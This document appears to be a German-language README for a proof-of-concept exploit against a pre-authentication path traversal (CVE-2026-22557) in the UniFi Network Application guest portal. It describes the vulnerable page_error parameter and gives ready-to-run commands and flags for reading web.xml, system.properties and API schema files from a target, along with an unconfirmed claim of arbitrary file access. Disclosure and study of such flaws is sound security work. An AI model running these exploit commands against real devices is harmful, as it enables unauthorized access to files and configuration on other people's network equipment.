
PoC für UniFi Network Application Pre-Auth Path Traversal (CVE-2026-22557)
Pre-authentifizierte Path Traversal im Gastportal der UniFi Network Application (/guest/s/{site}/login). Der Abfrageparameter page_error wird ohne Validierung an einen Ressourcen-Loader übergeben, wodurch ein nicht authentifizierter Angreifer Dateien aus der Webapp lesen kann (z. B. WEB-INF/web.xml).
Wenn die Gastportal-Seite angepasst wurde, scheint der Ressourcen-Loader auf einen rohen FileInputStream-Zweig zurückzugreifen, der auf beliebige Dateien des zugrunde liegenden Systems außerhalb des Kontext-Roots zugreifen kann. Ich habe dies noch nicht bestätigt und werde es weiter untersuchen, wenn ich Zeit habe.
pip install requests
python CVE-2026-22557.py <target_url> [-f DATEI] [-g GAST_PFAD] [-o AUSGABE] [-x PROXY]
| Flag | Beschreibung | Standard |
|---|
target | Ziel-URL (z. B. https://host:8843) | (erforderlich) |
-f | Relativer Pfad zum Lesen | ../../web.xml |
-g | Gastportal-Pfad | /guest/s/default/login |
-o | Antwort in Datei schreiben | (stdout) |
-x | Proxy-URL | (keine) |

# Standard -- WEB-INF/web.xml lesen (HTTPS-Gastportal)
python CVE-2026-22557.py https://192.168.1.1:8843
# HTTP-Gastportal
python CVE-2026-22557.py http://192.168.1.1:8880
# Classpath-Ressource lesen
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../system.properties
# API-Schema lesen und in Datei speichern
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
# Anderer Site-Name
python CVE-2026-22557.py https://192.168.1.1:8843 -g /guest/s/mysite/login
# Über einen Proxy
python CVE-2026-22557.py https://192.168.1.1:8843 -x http://127.0.0.1:8080